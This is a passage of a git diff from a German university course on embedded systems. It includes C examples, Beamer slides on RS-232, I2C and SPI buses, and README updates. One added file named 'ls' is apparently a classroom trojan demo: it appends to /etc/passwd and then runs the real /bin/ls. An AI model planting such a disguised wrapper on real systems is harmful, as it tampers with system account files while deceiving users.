+{ + char a[][5] = { "Dies", "ist", "ein", "Test" }; + for (char *p = a[0]; p < a[4]; p += 5) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/photo-20170420-170351.jpg b/20170420/photo-20170420-170351.jpg new file mode 100644 index 0000000000000000000000000000000000000000..7f6fe33cef84a8c07e26f0838cbe70e0ad2704af Binary files /dev/null and b/20170420/photo-20170420-170351.jpg differ diff --git a/20170420/photo-20170420-170456.jpg b/20170420/photo-20170420-170456.jpg new file mode 100644 index 0000000000000000000000000000000000000000..562d2ff69b46f3755bd0693249de9586a6fd2b71 Binary files /dev/null and b/20170420/photo-20170420-170456.jpg differ diff --git a/20170420/photo-20170420-170703.jpg b/20170420/photo-20170420-170703.jpg new file mode 100644 index 0000000000000000000000000000000000000000..97817b567a7eaac22d3581bb4b524a04a7fe523d Binary files /dev/null and b/20170420/photo-20170420-170703.jpg differ diff --git a/20170420/photo-20170420-170740.jpg b/20170420/photo-20170420-170740.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ccd6becda618aab3c40aac1a9e784cc2c24bda4a Binary files /dev/null and b/20170420/photo-20170420-170740.jpg differ diff --git a/20161103/hello.c b/20170427/hello-1.c similarity index 100% rename from 20161103/hello.c rename to 20170427/hello-1.c diff --git a/20161013/test.c b/20170427/hello-2.c similarity index 59% rename from 20161013/test.c rename to 20170427/hello-2.c index f82b1bb2869918a99fc8f63c90973e9bd38ed62b..b767f77cd3a7328e5f45b60e674d32a647386509 100644 --- a/20161013/test.c +++ b/20170427/hello-2.c @@ -2,6 +2,6 @@ int main (void) { - printf ("Dies ist ein Test.\n"); + puts ("Hello, world!"); return 0; } diff --git a/20170427/hello-3.c b/20170427/hello-3.c new file mode 100644 index 0000000000000000000000000000000000000000..0e56d5a33a3ac5f71ac2f06073beb86162ca8947 --- /dev/null +++ b/20170427/hello-3.c @@ -0,0 +1,7 @@ +#include <unistd.h> + +int main (void) +{ + write (1, "Hello, world!\n", 14); + return 0; +} diff --git a/20170427/hello-4.c b/20170427/hello-4.c new file mode 100644 index 0000000000000000000000000000000000000000..36b40f8e0ebf23ea29208a375288386a94e84daa --- /dev/null +++ b/20170427/hello-4.c @@ -0,0 +1,8 @@ +#include <stdio.h> + +int main (void) +{ + for (int i = 1; i < 4000000000; i += i) + printf ("Hello, %d world!\n", i); + return 0; +} diff --git a/20170427/ls b/20170427/ls new file mode 100755 index 0000000000000000000000000000000000000000..72f24b86001643e60f736e18d57395790953745b --- /dev/null +++ b/20170427/ls @@ -0,0 +1,2 @@ +echo "Schlimme Dinge ..." >> /etc/passwd +/bin/ls "$@" diff --git a/20170427/photo-20170427-170348.jpg b/20170427/photo-20170427-170348.jpg new file mode 100644 index 0000000000000000000000000000000000000000..7f85438308b75030a21729842ee05fece9ba40ce Binary files /dev/null and b/20170427/photo-20170427-170348.jpg differ diff --git a/20170504/photo-20170504-165709.jpg b/20170504/photo-20170504-165709.jpg new file mode 100644 index 0000000000000000000000000000000000000000..8215e27e72c27db57f1b4342ffececc169054dbe Binary files /dev/null and b/20170504/photo-20170504-165709.jpg differ diff --git a/20170504/photo-20170504-165752.jpg b/20170504/photo-20170504-165752.jpg new file mode 100644 index 0000000000000000000000000000000000000000..2bde2a30c6f5a7dcc09a3b0e6720cdbbac174ea9 Binary files /dev/null and b/20170504/photo-20170504-165752.jpg differ diff --git a/20161110/I2C_data_transfer.pdf b/20170511/I2C_data_transfer.pdf similarity index 100% rename from 20161110/I2C_data_transfer.pdf rename to 20170511/I2C_data_transfer.pdf diff --git a/20161110/SPI_single_slave.pdf b/20170511/SPI_single_slave.pdf similarity index 100% rename from 20161110/SPI_single_slave.pdf rename to 20170511/SPI_single_slave.pdf diff --git a/20161110/SPI_three_slaves.pdf b/20170511/SPI_three_slaves.pdf similarity index 100% rename from 20161110/SPI_three_slaves.pdf rename to 20170511/SPI_three_slaves.pdf diff --git a/20161110/SPI_three_slaves_daisy_chained.pdf b/20170511/SPI_three_slaves_daisy_chained.pdf similarity index 100% rename from 20161110/SPI_three_slaves_daisy_chained.pdf rename to 20170511/SPI_three_slaves_daisy_chained.pdf diff --git a/20170511/es-20170413.pdf b/20170511/es-20170413.pdf new file mode 100644 index 0000000000000000000000000000000000000000..602c800635d1228652ef21e872be5952f4b6bbef Binary files /dev/null and b/20170511/es-20170413.pdf differ diff --git a/20170511/es-20170413.tex b/20170511/es-20170413.tex new file mode 100644 index 0000000000000000000000000000000000000000..f8c8f3df0860d8764cd1a4e67f3f1f5e4eb54271 --- /dev/null +++ b/20170511/es-20170413.tex @@ -0,0 +1,508 @@ +% es-20170511.pdf - Lecture Slides on Software Development for Embedded Systems +% Copyright (C) 2013, 2014, 2015, 2016, 2017 Peter Gerwinski +% +% This document is free software: you can redistribute it and/or +% modify it either under the terms of the Creative Commons +% Attribution-ShareAlike 3.0 License, or under the terms of the +% GNU General Public License as published by the Free Software +% Foundation, either version 3 of the License, or (at your option) +% any later version. +% +% This document is distributed in the hope that it will be useful, +% but WITHOUT ANY WARRANTY; without even the implied warranty of +% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +% GNU General Public License for more details. +% +% You should have received a copy of the GNU General Public License +% along with this document. If not, see <http://www.gnu.org/licenses/>. +% +% You should have received a copy of the Creative Commons +% Attribution-ShareAlike 3.0 Unported License along with this +% document. If not, see <http://creativecommons.org/licenses/>. + +\documentclass[10pt,t]{beamer} + +\usepackage{pgslides} +\usepackage{rotating} +\usepackage{tikz} + +\title{Software-Entwicklung für eingebettete Systeme} +\author{Prof.\ Dr.\ Peter Gerwinski} +\date{11.\ Mai 2017} + +\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C} + +\begin{document} + +\maketitleframe + +\sectionnonumber{Inhalt} + +\begin{frame} + \showsectionnonumber + \begin{enumerate} + \bf + \item Was sind eingebettete Systeme? + \item Arrays und Pointer für Fortgeschrittene + \item Einführung in Unix + \item TCP/IP-Netzwerke in der Praxis + \item Bus-Systeme + \end{enumerate} + \dots\ und \emph{viel\/} praktisches Arbeiten! + + \vspace*{1.5cm} + + \begin{center} + \color{red}\large + Exkursion zu Lufthansa (Frankfurt) -- wann? + \end{center} + +\end{frame} + +\setcounter{section}{4} +\section{Bus-Systeme} +\subsection{Was sind Bus-Systeme?} + +\begin{frame} + \showsection + \showsubsection + + \begin{quote} + Ein Bus ist ein System zur Datenübertragung zwischen mehreren + Teilnehmern über einen gemeinsamen Übertragungsweg. +% \color{gray} +% Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so +% müssen die übrigen Teilnehmer schweigen, da sie sich sonst +% gegenseitig stören würden. Umgangssprachlich werden mitunter -- +% oft aus historischen Gründen – auch Datenübertragungssysteme als +% "`Bus"' bezeichnet, die technisch eigentlich eine andere +% Topologie besitzen. + + \medskip + + \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)} + \end{quote} + Beispiele: + \begin{itemize} + \item + Computer kommuniziert mit Peripherie + \item + Computer kommunizieren (direkt) miteinander + \item + Prozessor kommuniziert mit externem Speicher + \item + Teile eines Prozessors kommunizieren miteinander + \end{itemize} +\end{frame} + +\begin{frame} + \showsection + \showsubsection + Standard-Computer: + \begin{itemize} + \item + Einsteckkarten: PCI (und Vorgänger) + \item + Festplatten: SATA (und Vorgänger) + \item + USB, FireWire, \dots + \item + Ethernet, CAN-Bus, \dots + \item + WLAN, BlueTooth, IR, \dots + \item + PS/2, RS-232, Centronics + \end{itemize} + + \medskip + + Minimal-Hardware: + \begin{itemize} + \item + RS-232 + \item + \ItwoC\ (TWI) + \item + SPI + \end{itemize} + + \begin{onlyenv}<1> + \begin{picture}(0,0) + \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}} + \end{picture} + \end{onlyenv} + \begin{onlyenv}<2> + \begin{picture}(0,0)(-1.3,-4) + \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}} + \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}} + \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}} + \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}} + \end{picture} + \end{onlyenv} +\end{frame} + +\begin{frame}[fragile] + + \showsection + \showsubsection + + \vspace*{-\bigskipamount} + \begin{tabbing} + \newterm{Punkt-zu-Punkt}\quad\=\kill + \newterm{seriell} \> jedes Bit einzeln übertragen\\ + \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount] + \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\ + \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount] + \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\ + \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung} + \end{tabbing} + + \begin{itemize} + \item + \ItwoC: seriell, synchron, mit Adressierung + \item + RS-232: seriell, asynchron, Punkt-zu-Punkt + \item + RS-485, USB, CAN: seriell, asynchron, mit Adressierung + \item + SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung + \end{itemize} + +\end{frame} + +\subsection{RS-232} + +\begin{frame} + \showsection + \showsubsection + + seriell + \begin{itemize} + \item + \newterm{TX\/}: 1 Leitung für Daten + \item + \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung + \item + \newterm{GND\/}: gemeinsame \newterm{Masse} + \item + evtl.\ zusätzliche Steuerleitungen + \end{itemize} + + \medskip + + synchron + \begin{itemize} + \item + \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen + \item + Stattdessen: Abgleich über Zeitvereinbarungen + \arrowitem + Jeder Teilnehmer braucht eine eigene Zeitbasis. + \end{itemize} + + \medskip + + Punkt-zu-Punkt + \begin{itemize} + \item + nur 2 Teilnehmer vorgesehen + \end{itemize} +\end{frame} + +\begin{frame} + \showsubsection + \vspace*{-0.35cm} + \begin{center} + \includegraphics[scale=0.9]{rs-232.pdf} + \end{center} +\end{frame} + +\subsection{\protect\ItwoC\ (TWI)} + +\begin{frame} + \showsection + \showsubsection + + \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface + + \medskip + + seriell + \begin{itemize} + \item + \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen) + \item + \newterm{SCL\/}: Taktleitung (Clock) + \item + \newterm{GND\/}: gemeinsame Masse + \item + evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät + \end{itemize} + + \medskip + + synchron + \begin{itemize} + \item + Abgleich über\\Taktleitung + \begin{picture}(0,0) + \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}} + \end{picture} + \end{itemize} + + \medskip + + busfähig + \begin{itemize} + \item + \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung + \item + erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers + \item + 2 Adressen pro Teilnehmer: Lesen/Schreiben + \end{itemize} + \vspace*{-1cm} +\end{frame} + +\subsection{SPI} + +\begin{frame} + \showsection + \showsubsection + + Serial Peripheral Interface + + \medskip + + seriell + \begin{itemize} + \item + \newterm{MISO\/}: Master Out, Slave In + \item + \newterm{MOSI\/}: Master In, Slave Out + \item + \newterm{SCLK\/}: Taktleitung (Clock) + \item + \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert) + \item + \newterm{GND\/}: gemeinsame Masse + \item + evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät + \end{itemize} + + \medskip + + synchron + \begin{itemize} + \item + Abgleich über Taktleitung + \end{itemize} + + \medskip + + busfähig + \begin{itemize} + \item + \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung + \item + \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt + \begin{picture}(0,0) + \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}} + \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}} + \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} + \newterm{Stern} + \end{minipage}}} + \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}} + \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} + \newterm{Kaskade}\\ + \newterm{Daisy Chain}\pause[4]\par\smallskip + \setlength{\leftskip}{-3.5cm}\small + Slave gibt MOSI-Input um 1 Takt verzögert + an MISO aus \textarrow\ Master setzt + "`im richtigen Moment"' $\overline{\text{SS}}$ + \end{minipage}}} + \end{picture} + \end{itemize} + \vspace*{-1cm} + +\end{frame} + + +\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses} + +\begin{frame}[fragile] + + \showsection + \showsubsection + + \begin{picture}(0,0) + \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} + \end{picture}% + + \begin{onlyenv}<1> + \begin{lstlisting}[gobble=6] + void read_compass (uint16_t *x, uint16_t *y) + { + I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil + mSleep (1); + I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil + mSleep (5); + uint8_t result[5]; + I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten + mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat + I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen + I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y + result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden + result[2] &= 0b00001111; + *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb + *y = (result[2] << 8) + result[3]; + } + \end{lstlisting} + \end{onlyenv} + \begin{onlyenv}<2-3> + \begin{lstlisting}[gobble=6,style=shy] + ²void read_compass (uint16_t *x, uint16_t *y) + { ... } + + int main (void) + { + uint16_t compass_x, compass_y; + read_compass (&compass_x, &compass_y);¿ + ³writeInteger (compass_x, DEC); + writeChar (' '); + writeInteger (compass_y, DEC); + writeChar ('\n');¿ + ²return 0; + }¿ + \end{lstlisting} + \end{onlyenv} + \begin{onlyenv}<4-> + \begin{lstlisting}[gobble=6,style=shy] + °void read_compass (uint16_t *x, uint16_t *y) + { + I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil + ¿mSleep (1); + I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil + mSleep (5); + uint8_t result[5]; + I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten + mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat + I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen + I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y + result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden + result[2] &= 0b00001111; + *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb + *y = (result[2] << 8) + result[3]; + °}¿ + \end{lstlisting} + \end{onlyenv} + \begin{onlyenv}<5-7> + \begin{picture}(0,0) + \color{red} + \put(3.85,5.3){\vector(1,1){0.5}} + \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}} + \end{picture} + \end{onlyenv} + \begin{onlyenv}<6-7> + \begin{picture}(0,0) + \color{red} + \put(5.25,4.5){\vector(0,1){1.3}} + \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}} + \end{picture} + \end{onlyenv} + \begin{onlyenv}<7> + \begin{picture}(0,0) + \color{red} + \put(6.6,5.3){\vector(-1,1){0.5}} + \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}} + \end{picture} + \end{onlyenv} + \vspace*{-2cm} + +\end{frame} + +\begin{frame}[fragile] + + \showsection + \showsubsection + + \begin{picture}(0,0) + \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} + \end{picture}% + + \begin{lstlisting}[style=shy] + ¡void read_compass (uint16_t *x, uint16_t *y) + { + I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil + mSleep (1); + I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil + mSleep (5); + ¿²uint8_t result[5]; + I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten + mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat + ¿³I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen + ¿°I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y + result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden + result[2] &= 0b00001111; + *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb + *y = (result[2] << 8) + result[3]; + ¿¡}¿ + \end{lstlisting} + \vspace*{-2cm} + +\end{frame} + +\begin{frame}[fragile] + + \showsection + \showsubsection + + \begin{picture}(0,0) + \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} + \end{picture}% + Messung:\\ + Roboter im Kreis drehen lassen,\\ + x- und y-Werte aufzeichnen\\ + und gegeneinander auftragen + + \smallskip + Ergebnis: Ellipse + \begin{picture}(0,0)(0,0.5) + \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}} + \end{picture}% + + \bigskip + Anwendung:\\ + Roboter in eine Himmelsrichtung ausrichten + \begin{itemize} + \item + Achsen normieren:\\ + Mittelwert subtrahieren + \begin{picture}(0,0)(0,0.5) + \put(3.75,0.95){\vector(1,0){4}} + \put(7.55,0.90){\makebox(0,0)[t]{x}} + \put(5.75,-1.05){\vector(0,1){4}} + \put(5.75,2.95){\makebox(0,0)[r]{y}} + \end{picture}% + \item + Nulldurchgang einer Achse\\ + markiert eine Himmelsrichtung + \item + Vorzeichen der anderen Achse\\ + sagt aus, welche Himmelsrichtung + \end{itemize} + \vspace{-0.5cm} + \begin{flushright} + Beispiel: nach Norden ausrichten\\ + Grob drehen, bis $y$ positiv ist, + fein drehen, bis $x = 0$ ist + \end{flushright} +% $x = 0$, $y$ positiv: Norden\\ +% $x = 0$, $y$ negativ: Süden +% $y = 0$, $x < 0$: Westen +% $y = 0$, $x > 0$: Osten + \vspace*{-2cm} + +\end{frame} + +\end{document} diff --git a/20161006/kompass-messung.png b/20170511/kompass-messung.png similarity index 100% rename from 20161006/kompass-messung.png rename to 20170511/kompass-messung.png diff --git a/20161006/kompassmodul-an-roboter.jpg b/20170511/kompassmodul-an-roboter.jpg similarity index 100% rename from 20161006/kompassmodul-an-roboter.jpg rename to 20170511/kompassmodul-an-roboter.jpg diff --git a/20161006/kompassmodul.jpg b/20170511/kompassmodul.jpg similarity index 100% rename from 20161006/kompassmodul.jpg rename to 20170511/kompassmodul.jpg diff --git a/20170511/logo-hochschule-bochum-bo-text-v2.pdf b/20170511/logo-hochschule-bochum-bo-text-v2.pdf new file mode 100644 index 0000000000000000000000000000000000000000..e8725b8d05ffdd30bb4d71222f87c6c75dcf047f Binary files /dev/null and b/20170511/logo-hochschule-bochum-bo-text-v2.pdf differ diff --git a/20170511/logo-hochschule-bochum-cvh-text.pdf b/20170511/logo-hochschule-bochum-cvh-text.pdf new file mode 100644 index 0000000000000000000000000000000000000000..649b6a8b8f51ddc370a3626310c172fb3f8b0807 Binary files /dev/null and b/20170511/logo-hochschule-bochum-cvh-text.pdf differ diff --git a/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf b/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf new file mode 100644 index 0000000000000000000000000000000000000000..7ae1c14177ac80f8bbe25e41c1aa043bdfd57ad5 Binary files /dev/null and b/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf differ diff --git a/20170511/logo-hochschule-bochum.pdf b/20170511/logo-hochschule-bochum.pdf new file mode 100644 index 0000000000000000000000000000000000000000..8cad73dbb48a2b550bf29355b5a6ec895ce091f8 Binary files /dev/null and b/20170511/logo-hochschule-bochum.pdf differ diff --git a/20161006/motherboard-anschluesse.jpg b/20170511/motherboard-anschluesse.jpg similarity index 100% rename from 20161006/motherboard-anschluesse.jpg rename to 20170511/motherboard-anschluesse.jpg diff --git a/20170511/pgslides.sty b/20170511/pgslides.sty new file mode 100644 index 0000000000000000000000000000000000000000..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24 --- /dev/null +++ b/20170511/pgslides.sty @@ -0,0 +1,228 @@ +% pgslides.sty - LaTeX Settings for Lecture Slides +% Copyright (C) 2012, 2013 Peter Gerwinski +% +% This document is free software: you can redistribute it and/or +% modify it either under the terms of the Creative Commons +% Attribution-ShareAlike 3.0 License, or under the terms of the +% GNU General Public License as published by the Free Software +% Foundation, either version 3 of the License, or (at your option) +% any later version. +% +% This document is distributed in the hope that it will be useful, +% but WITHOUT ANY WARRANTY; without even the implied warranty of +% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +% GNU General Public License for more details. +% +% You should have received a copy of the GNU General Public License +% along with this document. If not, see <http://www.gnu.org/licenses/>. +% +% You should have received a copy of the Creative Commons +% Attribution-ShareAlike 3.0 Unported License along with this +% document. If not, see <http://creativecommons.org/licenses/>. + +\usepackage{amsfonts} +\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman". +\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird. +\usepackage{microtype} +\usepackage[T1]{fontenc} +\usepackage{times} +\usepackage{helvet} +\renewcommand*\familydefault{\sfdefault} +\usepackage{graphicx} +\usepackage{pstricks} + +\hypersetup{colorlinks,allcolors=blue} + +%% @@@ Not necessary for slides. Why??? +%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs). +%\directlua{ +% local glyph = node.id ("glyph") +% local function my_kerning (head) +% for t in node.traverse (head) do +% if t.id == glyph and t.char == 47 then +% if t.next +% and t.next.next +% and t.next.next.id == glyph +% and t.next.next.char == 47 then +% local k = node.new ("kern") +% k.kern = tex.sp ("-0.15em") +% k.next = t.next +% k.prev = t +% t.next.prev = k +% t.next = k +% end +% end +% end +% node.kerning (head) +% end +% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning") +%} + +\usetheme{default} +\usefonttheme{structurebold} +\setbeamertemplate{navigation symbols}{} +\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm} +\setbeamertemplate{itemize item}{$\bullet$} +\setbeamertemplate{itemize subitem}{--} +\setbeamerfont{itemize/enumerate subbody}{size=\normalsize} +\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize} +\setbeamercolor{footline}{fg=gray} + +\newcommand{\sep}{~$\cdot$~} + +\newif\ifminimalistic +\minimalistictrue + +\institute[Hochschule Bochum\sep CVH]{% + \makebox(0,0)[tl]{\includegraphics[scale=0.57]{logo-hochschule-bochum-cvh-text.pdf}}\hfill + \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}% +} + +\setbeamertemplate{headline}{% + \leavevmode + \hbox to \textwidth{% + \ifminimalistic + \strut\hfill + \else + \rule{0pt}{5.7pt}% + \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}% + \raisebox{-30pt}{\rule{0pt}{1pt}}% + \fi + }% + \vskip0pt% +} + +\iffalse + \setbeamertemplate{footline}{} +\else + \setbeamertemplate{footline}{% + \leavevmode + \hbox to \textwidth{% + \usebeamercolor{footline}% + \usebeamerfont{footline}% + \ifminimalistic + \strut\hfill + \else + \,\insertshorttitle\sep + \insertshortauthor\sep + \insertshortinstitute\sep + \insertshortdate\hfill + \fi + \insertframenumber/\inserttotalframenumber + %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\, + }% + \vskip0pt% + } +\fi + +\newcommand{\maketitleframe}{% + \ifminimalistic + \begin{frame}[t,plain] + \insertinstitute + \par\vfill + \begin{center} + {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip + {\large \insertauthor\par}\bigskip\medskip + \insertdate + \end{center} + \end{frame} + \else + \begin{frame} + \vfill + \begin{center} + {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip + {\large \insertauthor\par}\bigskip\medskip + \insertdate + \end{center} + \vfill + \end{frame} + \fi +} + +\usepackage{pstricks} +\newrgbcolor{medgreen}{0.0 0.5 0.0} +\newrgbcolor{darkgreen}{0.0 0.3 0.0} +\newrgbcolor{lightred}{1.0 0.7 0.7} +\newrgbcolor{medred}{0.5 0.0 0.0} +\newrgbcolor{bored}{0.89 0.0 0.098} +\newrgbcolor{lightgray}{0.85 0.85 0.85} +\definecolor{darkgray}{rgb}{0.4,0.4,0.4} + +\newenvironment{experts}{\color{darkgray}}{} + +\usepackage{listings} +\lstset{basicstyle=\color{structure}, + language=C, + captionpos=b, + gobble=4, + columns=fullflexible, + aboveskip=0pt, + belowskip=0pt, + moredelim=**[is][\color{structure}]{¡}{¿}, + moredelim=**[is][\only<2->{\color{structure}}]{²}{¿}, + moredelim=**[is][\only<3->{\color{structure}}]{³}{¿}, + moredelim=**[is][\only<4->{\color{structure}}]{°}{¿}, + moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿}, + moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿}, + moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿}, + moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}} +\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen}, + language={}, + columns=fixed, + moredelim=**[is][\color{red}]{¡}{¿}, + moredelim=**[is][\color{blendedblue}]{°}{¿}, + moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} +\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red}, + language={}, + gobble=2, + columns=fixed, + moredelim=**[is][\color{darkgreen}]{¡}{¿}, + moredelim=**[is][\color{structure}]{°}{¿}, + moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} +\lstdefinestyle{shy}{basicstyle=\color{lightgray}} + +\setcounter{topnumber}{3} +\renewcommand\topfraction{0.7} +\setcounter{bottomnumber}{3} +\renewcommand\bottomfraction{0.7} +\setcounter{totalnumber}{5} +\renewcommand\textfraction{0.1} +\renewcommand\floatpagefraction{0.9} + +\setlength{\unitlength}{1cm} + +\newcommand{\protectfile}[1]{#1} +\urlstyle{sf} +\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}} +\newcommand{\textarrow}{{\boldmath $\longrightarrow$}} +\newcommand{\arrowitem}{\item[\textarrow]} +\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}} +\newcommand{\BIGskip}{\vspace{1cm}} +\newcommand{\shy}{\color{lightgray}} +\newcommand{\hot}{\color{red}} +\newcommand{\shyhot}{\color{lightred}} + +\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}} + +\def\showsectionnonumber{\hbox{\Large\color{structure}\bf + \vtop{\secname}\par}\bigskip} + +\def\showsection{\hbox{\Large\color{structure}\bf + \vtop{\hbox{\arabic{section}}}\kern1em% + \vtop{\secname}\par}\bigskip} + +\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}} + +\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip} + +\def\showsubsection{\hbox{\large\color{structure}\bf + \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em% + \vtop{\subsecname}\par}\bigskip} + +\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}} + +\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip} + +\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf + \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em% + \vtop{\subsubsecname}\par}\bigskip} diff --git a/20170511/photo-20170511-155349.jpg b/20170511/photo-20170511-155349.jpg new file mode 100644 index 0000000000000000000000000000000000000000..5e3148b448256d8bd2bfda2f4dcdd20f5c4671b5 Binary files /dev/null and b/20170511/photo-20170511-155349.jpg differ diff --git a/20161110/rs-232.pdf b/20170511/rs-232.pdf similarity index 100% rename from 20161110/rs-232.pdf rename to 20170511/rs-232.pdf diff --git a/README b/README index 0ab4eaeb7c214d26ef5484d8d58dadcd35ff7802..19f8065cc2d24027193ecdfadb932c5769e2cd29 100644 --- a/README +++ b/README @@ -1,10 +1,10 @@ Eingebettete Systeme ~~~~~~~~~~~~~~~~~~~~ -Lehrveranstaltung im Wintersemester 2016/17 +Lehrveranstaltung im Sommersemester 2017 Hochschule Bochum, Campus Velbert/Heiligenhaus Prof. Dr. rer. nat. Peter Gerwinski -Copyright (C) 2012-2016 Peter Gerwinski +Copyright (C) 2012-2017 Peter Gerwinski common - gemeinsame Dateien für Skript und Vortragsfolien script - Skript zur Lehrveranstaltung @@ -18,11 +18,11 @@ weitergeben. Für Details siehe common/README. Embedded Systems ~~~~~~~~~~~~~~~~ -Course in winter semester 2016/17 +Course in summer semester 2017 Bochum University of Applied Sciences, Campus Velbert/Heiligenhaus Prof. Dr. rer. nat. Peter Gerwinski -Copyright (C) 2012-2016 Peter Gerwinski +Copyright (C) 2012-2017 Peter Gerwinski common - common files for lecture notes and slides script - lecture notes diff --git a/common/README b/common/README index b6912372207e9ff192f02e0d276495c3e77fe9b8..30b044d996deb07a006d0c0aebbfb849cb3fdcbc 100644 --- a/common/README +++ b/common/README @@ -1,10 +1,10 @@ -Lecture Notes and Examples on Embedded Systems -Copyright (C) 2012, 2013, 2014, 2015, 2016 Peter Gerwinski <peter@gerwinski.de> +Lecture Notes and Examples on Software Development for Embedded Systems +Copyright (C) 2012, 2013, 2014, 2015, 2016, 2017 Peter Gerwinski <peter@gerwinski.de> These documents are free software; you can redistribute them 